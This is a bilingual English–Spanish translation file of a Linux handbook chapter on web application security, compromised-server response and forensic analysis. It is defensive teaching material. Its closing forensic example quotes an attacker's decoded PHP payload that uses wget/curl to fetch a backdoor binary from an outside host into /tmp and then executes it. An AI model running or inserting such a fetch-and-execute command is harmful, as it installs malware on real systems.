es-ES: El carácter universal de las aplicaciones web llevaron a su proliferación. Usualmente se ejecutan varias en paralelo: correo web, wiki, sistema de gestión, foros, galería de fotos, blog, etc. La mayoría de estas aplicaciones están basadas en la pila «LAMP» (<emphasis>Linux, Apache, MySQL, PHP</emphasis>). Desafortunadamente, muchas de estas aplicaciones también fueron escritas sin considerar los problemas de seguridad. Los datos que provienen del exterior, demasiado seguido, son utilizados luego de escasa o nula validación. Se pueden proveer valores creados especiales para generar que una llamada a un programa ejecute otro en cambio. Con el paso del tiempo se corrigieron muchos de los problemas más obvios, pero aparecen nuevos problemas regularmente.

en: <emphasis>VOCABULARY</emphasis> SQL injection
es-ES: <emphasis>VOCABULARIO</emphasis> Inyección SQL

en: When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />
es-ES: Cuando un programa agrega datos a una consulta SQL de forma insegura, es vulnerable a inyecciones SQL; este nombre hace referencia al acto de cambiar un parámetro de forma que la consulta ejecutada por el programa resultará diferente a la esperada, bien para dañar la base de datos o para acceder a datos a los que normalmente no tendría acceso. <ulink type="block" url="https://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL" />

en: <primary>SQL injection</primary>
es-ES: <primary>inyección SQL</primary>

en: Knowing What To Expect
es-ES: Saber qué esperar

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
es-ES: Generalmente se utiliza una vulnerabilidad en una aplicación web como punto de partida para intentos de «cracking». Lo que sigue es una breve revisión de las consecuencias posibles.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
es-ES: <emphasis>VISTA RÁPIDA</emphasis> Filtrado de consultas HTTP

en: Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.
es-ES: Apache 2 incluye módulos que permiten filtrar consultas HTTP entrantes. Esto permite bloquear algunos vectores de ataque. Por ejemplo, limitar la longitud de los parámetros puede prevenir un desbordamiento de búfer. De forma más general, puede validar los parámetros inclusive antes de que sean pasados a la aplicación web y puede restringir el acceso según muchos criterios. Inclusive puede combinarlo con actualizaciones dinámicas del firewall, para prohibirle temporalmente el acceso al servidor web a un cliente que infrinja alguna de las reglas.

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
es-ES: Configurar estas verificaciones puede ser una tarea larga y tediosa, pero valdrá la pena cuando la aplicación web que deba desplegar tenga un historial de seguridad dudoso.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
es-ES: <emphasis>mod-security2</emphasis> (en el paquete <emphasis role="pkg">libapache2-mod-security2</emphasis>) es el módulo principal de este tipo. Incluso viene con muchas reglas listas para ser utilizadas y de instalación sencilla (en el paquete <emphasis role="pkg">modsecurity-crs</emphasis>).

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
es-ES: Un atacante más avanzado irá más allá. Un escenario desastroso podría ser como sigue: el atacante obtiene la habilidad de ejecutar programas como el usuario <literal>www-data</literal>, pero ejecutar una orden necesita demasiadas manipulaciones. Para hacer su tarea más sencilla, instala otra aplicación web diseñada específicamente para ejecutar remotamente muchas órdenes distintas, como navegar el sistema de archivos, examinar permisos, subir o descargar archivos, ejecutar programas o inclusive proveer una consola de red. Generalmente, la vulnerabilidad le permitirá ejecutar <command>wget</command> para descargar algún malware en <filename>/tmp/</filename> y luego ejecutarlo. Usualmente se descarga dicho malware de un sitio web extranjero que fue comprometido con anterioridad y servirá para cubrir sus huellas y hacer más difícil rastrear el origen real del ataque.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
es-ES: En este punto el atacante tiene suficiente libertad de movimiento y, generalmente, instalan un «<emphasis>bot</emphasis>» IRC (un robot que se conecta a un servidor IRC por el que se lo puede controlar). Generalmente se lo utiliza para compartir archivos ilegales (copias no autorizadas de películas o software, etc.). Un atacante tenaz inclusive podría desear ir más allá todavía. La cuenta <literal>www-data</literal> no provee acceso completo al equipo, el atacante intentará obtener permisos de administrador. Esto no debería ser posible, pero si la aplicación web no estaba actualizada es posible también que el núcleo y otros programas tampoco estén actualizados; esto a veces deriva de una decisión del administrador que, a pesar de conocer la vulnerabilidad, descuidó la actualización del sistema ya que no existen usuarios locales. El atacante podrá aprovechar una segunda vulnerabilidad para obtener permisos de root.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
es-ES: <emphasis>VOCABULARIO</emphasis> Escalada de privilegios

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
es-ES: Este término cubre cualquier cosa que pueda ser utilizada para obtener más permisos de los que normalmente tendría un usuario normal. El programa <command>sudo</command> está diseñado específicamente para proveer permisos de administración a algunos usuarios. Pero también se utiliza el mismo término para describir el acto en el que un atacante aprovecha una vulnerabilidad para obtener permisos indebidos.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
es-ES: Este es un escenario de pesadilla que se puede prevenir con varias medidas. Las siguientes secciones describirán algunas de estas medidas.

en: Choosing the Software Wisely
es-ES: Selección prudente de software

en: <emphasis>VOCABULARY</emphasis> Security audit
es-ES: <emphasis>VOCABULARIO</emphasis> Auditoría de seguridad

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
es-ES: Una auditoría de seguridad es el proceso de leer y analizar a fondo el código fuente de algún software, buscando potenciales vulnerabilidades de seguridad que pueda contener. Usualmente, dichas auditorías son proactivas y se las realizan para asegurar que un programa cumple ciertos requisitos de seguridad.

en: In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.
es-ES: En el mundo del software libre, generalmente hay mucha variedad de opciones y elegir un software sobre otro debería ser una decisión basada en el criterio local. Más funcionalidad implica un aumento del riesgo de una vulnerabilidad escondida en el código; elegir el programa más avanzado para una tarea podría ser contraproducente, usualmente elegir el programa más simple que cumpla los requisitos es un mejor enfoque.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
es-ES: <emphasis>VOCABULARIO</emphasis> Vulnerabilidad de día cero («zero-day exploit»)

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
es-ES: Un ataque mediante una <emphasis>vulnerabilidad de día cero</emphasis> es difícil de prevenir; el término abarca una vulnerabilidad que todavía no es conocida por los autores del programa.

en: Managing a Machine as a Whole
es-ES: Gestión de una máquina como un todo

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
es-ES: La mayoría de las distribuciones Linux instalan de forma predeterminada una cantidad de servicios Unix y muchas herramientas. En muchos casos, no son necesarios para el funcionamiento adecuado de los servicios configurados por el administrador en la máquina. Como guía general en materia de seguridad, es mejor desinstalar todo el software innecesario. En efecto, no tiene sentido asegurar un servidor FTP si se puede utilizar una vulnerabilidad en otro servicio no utilizado para obtener permisos de administrador en todo el equipo.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
es-ES: De la misma forma, generalmente se configurarán los firewalls sólo para permitir acceder a los servicios que deban estar accesibles públicamente.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
es-ES: Los equipos actuales son suficientemente potentes para poder albergar varios servicios en la misma máquina física. Desde un punto de vista económico, dicha posibilidad es interesante: un sólo equipo a administrar, menor consumo de energía, etc. Desde el punto de vista de seguridad, sin embargo, esta elección puede ser un problema. Un servicio comprometido puede proveer acceso a toda la máquina, que a su vez compromete los otros servicios en el mismo equipo. Se puede mitigar este riesgo aislando los servicios. Puede lograrlo mediante virtualización (cada servicio albergado en una máquina virtual o contenedor dedicado) o bien con AppArmor/SELinux (que cada demonio de servicio tenga un conjunto de permisos adecuado).

en: Users Are Players
es-ES: Los usuarios también son parte

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
es-ES: Discutir sobre seguridad inmediatamente trae a la mente proteger en contra de ataques de «cracker» anónimos escondidos en la jungla de Internet; pero se suele olvidar que el riesgo también proviene desde adentro: un empleado a punto de dejar la empresa podría descargar archivos sensibles en un proyecto importante y venderlos a la competencia, un vendedor descuidado podría dejar su escritorio sin bloquear su sesión durante una reunión con un nuevo prospecto, un usuario atolondrado podría borrar el directorio incorrecto por error, etc.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
es-ES: La respuesta a estos riesgos puede involucrar soluciones técnicas: limitar los permisos otorgados a los usuarios a aquellos estrictamente necesarios y tener respaldos son obligatorios. Pero en muchos casos la protección adecuada involucrará entrenar a los usuarios a evitar los riesgos.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
es-ES: <emphasis>VISTA RÁPIDA</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
es-ES: El paquete <emphasis role="pkg">autolog</emphasis> provee un programa que automáticamente desconecta usuarios inactivos luego de un tiempo configurable. También permite matar procesos de usuarios que permanecen después que finalizó su sesión, evitando así que los usuarios ejecuten demonios.

en: Physical Security
es-ES: Seguridad física

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
es-ES: No tiene sentido asegurar redes y servicios si los equipos en sí no están protegidos. Los datos importantes merecen estar almacenados en disco duros que puede cambiar en caliente en arrays RAID, porque los discos duros eventualmente fallan y la disponibilidad de los datos es necesaria. Pero si cualquier repartidor de pizza puede ingresar al edificio, ingresar a la sala de servidores y huir con unos pocos discos duros específicos, no se cumple una parte de la seguridad. ¿Quién puede ingresar a la sala de servidores? ¿Está monitorizado el acceso? Estas cuestiones merecen ser consideradas (y respondidas) cuando se evalúa la seguridad física.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
es-ES: La seguridad física también incluye tener en cuenta los riesgos de accidentes, como incendios. Este riesgo particular es lo que justifica medios de respaldo en edificios separados, o al menos en una caja de seguridad a prueba de incendios.

en: Legal Liability
es-ES: Responsabilidad legal

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
es-ES: De formas más o menos implícita, un administrador recibe la confianza de sus usuarios así como también la de los usuarios de la red en general. Por lo tanto, deberían evitar cualquier descuido que pueda ser aprovechado por gente con malas intenciones.

en: An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.
es-ES: Un atacante que tome control de su equipo y luego lo utilice como una base avanzada (conocido como «sistema de retransmisión») desde la que realizar otras actividades nefastas podría causarle problemas legales, debido a que aquellos atacados inicialmente verían que el ataque proviene de su sistema y, por lo tanto, considerarlo como el atacante (o un cómplice). En muchos casos, el atacante utilizará su servidor para enviar spam, lo que no debería tener demasiado impacto (excepto la posibilidad de registrarlo en listas negras que limitarían su capacidad de enviar correos legítimos), pero no será agradable. En otros casos, puede causar problemas más importantes desde su máquina, por ejemplo, ataques de denegación de servicio. Esto a veces generará pérdida de ingresos ya que los servicios legítimos no estarán disponibles y podría destruir datos; a veces esto también implicará costos reales, ya que la parte atacada puede iniciar procedimientos legales en su contra. Los titulares de los derechos pueden enjuiciarlo si se comparte desde su servidor una copia no autorizada de una obra protegida por la legislación de derechos de copia, así como también otras empresas, obligadas por acuerdos de nivel de servicio, si deben pagar penalidades por el ataque desde su máquina.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
es-ES: Cuando ocurren estas situaciones, usualmente no basta con alegar inocencia; cuando menos necesitará evidencia convincente que muestre actividad sospechosa en su sistema que proviene de una dirección IP dada. Esto no será posible si descuida las recomendaciones de este capítulo y deja que el atacante obtenga acceso a una cuenta privilegiada (root en particular) y la utilice para cubrir sus huellas.

en: Dealing with a Compromised Machine
es-ES: Tratamiento de una máquina comprometida

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
es-ES: A pesar de las mejores intenciones y sin importar cuán cuidadosamente diseñe la política de seguridad, un administrador eventualmente se enfrentará a un secuestro. Esta sección provee algunas directrices sobre cómo reaccionar frente a estas circunstancias desafortunadas.

en: Detecting and Seeing the Cracker's Intrusion
es-ES: Detección y visualización de la intrusión

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
es-ES: El primer paso de la reacción frente a una intrusión es estar al tanto de la misma. Esto no es siempre obvio, especialmente sin una infraestructura de monitorización adecuada.

en: Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:
es-ES: A veces no se detectan los actos de intrusión hasta que tienen consecuencias directas en los servicios legítimos albergados en la máquina, como lentitud en las conexiones, algunos usuarios no se pueden conectar o cualquier otro tipo de funcionamiento defectuoso. El administrador que se enfrenta a estos problemas debe revisar cuidadosamente la máquina y escrutar en detalle aquello que no funciona como corresponde. Generalmente este es el momento en el que descubren un proceso inusual, por ejemplo, uno llamado <literal>apache</literal> en lugar del estándar <literal>/usr/sbin/apache2</literal>. Si seguimos con dicho ejemplo, debemos anotar el identificador de proceso y revisar <filename>/proc/<replaceable>pid</replaceable>/exe</filename> para ver qué programa está ejecutando dicho proceso:

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
es-ES: ¿Un programa instalado en <filename>/var/tmp/</filename> que ejecuta como el servidor web? Sin duda la máquina está comprometida.

en: This is only one example, but many other hints can ring the administrator's bell:
es-ES: Este sólo es un ejemplo, pero muchas otras pistas pueden encender la lámpara del administrador:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
es-ES: una opción a un programa que ya no funciona; la versión del software que el programa dice ser no coincide con la versión que se supone está instalada según <command>dpkg</command>;

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
es-ES: un prompt de órdenes o mensaje de sesión que indica que la última conexión provino de un servidor desconocido en otro continente;

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
es-ES: errores causados porque la partición <filename>/tmp/</filename> está llena, resultado de múltiples copias ilegales de películas;

en: and so on.
es-ES: etc.

en: Putting the Server Off-Line
es-ES: Desconexión del servidor

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
es-ES: En prácticamente todos los casos, la intrusión proviene de la red y el atacante necesita una red funcional para alcanzar sus objetivos (acceder a datos confidenciales, compartir archivos ilegales, esconder su identidad utilizando la máquina como restransmisor, etc.). Desconectar el equipo de la red evitará que el atacante logre estos objetivos si es que no los alcanzó para ese momento.

en: This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> and <xref linkend="sect.reconstituting-the-attack-scenario" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
es-ES: Esto podría ser posible sólamente si puede acceder físicamente al servidor. Cuando se alberga el servidor en un centro de datos en la otra punta del país, o si no puede acceder al servidor de niguna otra forma, usualmente es buena idea comenzar a obtener información importante (vea <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> y <xref linkend="sect.reconstituting-the-attack-scenario" />), luego aislar el servidor tanto como sea posible apagando tantos servicios como pueda (generalmente, todo excepto <command>sshd</command>). Este caso sigue siendo incómodo ya que no se puede descartar la posibilidad que el atacante tenga acceso SSH al igual que el administrador; esto dificulta «limpiar» las máquinas.

en: Keeping Everything that Could Be Used as Evidence
es-ES: Preservación de todo lo que pueda utilizar como evidencia

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
es-ES: Entender el ataque y/o establecer una acción legal en contra del atacante requerirá copias de todos los elementos importantes; esto incluye el contenido de los discos, una lista de todos los procesos en ejecución y las conexiones establecidas. Incluso podría utilizar el contenido de la RAM pero, rara vez se lo utiliza realmente.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
es-ES: En el ápice de la acción, los administradores generalmente están tentados de realizar muchas verificaciones en la máquina comprometida; generalmente esto no es una buena idea. Potencialmente, todo programa está comprometido y puede borrar porciones de la evidencia. Debería restringir las verificaciones a un conjunto mínimo (<command>netstat -tupan</command> para conexiones de red, <command>ps auxf</command> para una lista de procesos, <command>ls -alr /proc/[0-9]*</command> para un poco más de información sobre los programas en ejecución), y debe anotar cuidadosamente cada verificación que realice.

en: <emphasis>CAUTION</emphasis> Hot analysis
es-ES: <emphasis>PRECAUCIÓN</emphasis> Análisis en caliente

en: While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!
es-ES: Puede parecer tentandor analizar el equipo mientras ejecuta, especialmente cuando no puede acceder físicamente al servidor; debe evitarlo: simplemente no puede confiar en los programas instalados actualmente en el sistema comprometido. Es muy probable que un programa <command>ps</command> comprometido esconda proceso, o que un <command>ls</command> comprometido esconda archivos. ¡A veces incluso el núcleo está comprometido!

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
es-ES: Si necesita dicho análisis en caliente, debe tener cuidado de sólo utilizar programas en los que sabe que puede confiar. Una buena forma de hacer esto sería tener un CD de rescate con programas impolutos, o un espacio de red compartido en modo de solo lectura. Sin embargo, aún estas medidas pueden no ser suficientes si el núcleo en sí fue comprometido.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
es-ES: Una vez que guardó los elementos «dinámicos», el siguiente paso es almacenar una imagen completa del disco duro. Realizar dicha imagen es imposible si el sistema de archivos continúa evolucionando, razón por la que debe volver a montarlo en modo sólo de lectura. La solución más simple generalmente es detener brutalmente el servidor (luego de ejecutar <command>sync</command>) y luego reiniciar desde un CD de rescate. Debe copiar cada partición con una herramienta como <command>dd</command>; luego puede enviar estas imágenes a otro servidor (posiblemente con la conveniente herramienta <command>nc</command>). Otra posiblidad que puede ser aún más sencilla: simplemente quite el disco de la máquina y reemplácelo con otro al que pueda dar formato y reinstalar.

en: Re-installing
es-ES: Reinstalación

en: <primary>backdoor</primary>
es-ES: <primary>puerta trasera</primary>

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
es-ES: No debería volver a poner en línea al servidor sin reinstalarlo completamente. Si el compromiso fue serio (obtuvieron permisos de administrador), prácticamente no existe otra forma de estar seguro que se ha eliminado todo lo que el atacante podría haber dejado (<emphasis>puertas traseras</emphasis> — «backdoors» — en particular). Por supuesto, también debe aplicar todas las últimas actualizaciones de seguridad para solucionar la vulnerabilidad que utilizó el atacante. Idealmente, el análisis del ataque debería indicarle dicho vector de ataque para que pueda estar seguro de solucionarlo; de lo contrario, sólo puede confiar que alguna de las actualizaciones hay corregido la vulnerabilidad.

en: Forensic Analysis
es-ES: Análisis forense

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
es-ES: Ahora que restauró el servicio, es momento de revisar más cuidadosamente las imágenes de disco del sistema comprometido para poder entender el vector de ataque. Cuando monte estas imágenes debe asegurarse de utilizar las opciones <literal>ro,nodev,noexec,noatime</literal> para evitar modificar sus contenidos (incluyendo las marcas temporales de acceso de los archivos) o ejecutar por error los programas comprometidos.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
es-ES: Seguir las huellas de un escenario de ataque generalmente involucra buscar todo lo que se modificó o ejecutó:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
es-ES: usualmente es interesante leer los archivos <filename>.bash_history</filename>;

en: so does listing files that were recently created, modified or accessed;
es-ES: al igual que enumerar los archivos que fueron creados, modificados o accedidos recientemente;

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
es-ES: el programa <command>strings</command> ayuda a identificar los programas instalados por el atacante, extrayendo las cadenas de texto de un binario;

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
es-ES: los archivos de registro en <filename>/var/log/</filename> usualmente permiten reconstruir una cronología de los eventos;

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
es-ES: herramientas específicas también permiten restaurar el contenido de archivos potencialmente borrados, incluyendo los archivos de registro que generalmente borran los atacantes.

en: Reconstituting the Attack Scenario
es-ES: Reconstrucción del escenario de ataque

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
es-ES: Todos los elementos recolectados durante el análisis deberían encajar como piezas de un rompecabezas; usualmente hay una correlación entre la creación de los primeros archivos sospechosos con los registros que muestran la intrusión. Un ejemplo real debería ser más explícito que largos desvaríos teóricos.

en: The following log is an extract from an Apache <filename>access.log</filename>:
es-ES: El siguiente registro es un extracto de un archivo <filename>access.log</filename> de Apache:

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
es-ES: Decodificar esta URL lleva a entender que el atacante logró ejecutar un código PHP, en particular: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. En efecto, encontramos un archivo <filename>bd</filename> en <filename>/tmp/</filename>. La ejecución de <command>strings /mnt/tmp/bd</command> devuelve, entre otras cadenas, <literal>PsychoPhobia Backdoor is starting...</literal>. Esto realmente parece una puerta trasera.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
es-ES: Un tiempo después, se utilizó este acceso para descargar, instalar y ejecutar un <emphasis>bot</emphasis> IRC que se conectó a una red IRC clandestina. Luego se podía controlar el bot mediante este protocolo y ordenarle descargar archivos para compartir. Este programa inclusive tiene su propio archivo de registro:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
es-ES: Estas trazas muestran que se almacenaron dos archivos de video en el servidor desde la dirección IP 82.50.72.202.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
es-ES: En paralelo, el atacante también descargo un par de archivos adicionales, <filename>/tmp/pt</filename> y <filename>/tmp/loginx</filename>. Ejecutar <command>strings</command> en estos archivos nos provee cadenas como <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> («código de consola ubicado en 0x%08lx») y <foreignphrase>Now wait for suid shell...</foreignphrase> («esperando consola suid...»). Estos parecen programas que aprovechan vulnerabilidades locales para obtener privilegios de administrador. ¿Consiguieron su objetivo? En este caso, probablemente no, ya que no parecen existir archivos modificados luego de la intrusión original.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
es-ES: En este ejemplo, se reconstruyó la intrusión completa y podemos deducir que el atacante pudo aprovechar el sistema comprometido por alrededor de tres días; pero el elemento más importante del análisis es que se identificó la vulnerabilidad y el administrador puede asegurarse que la nueva instalación realmente soluciona la vulnerabilidad.
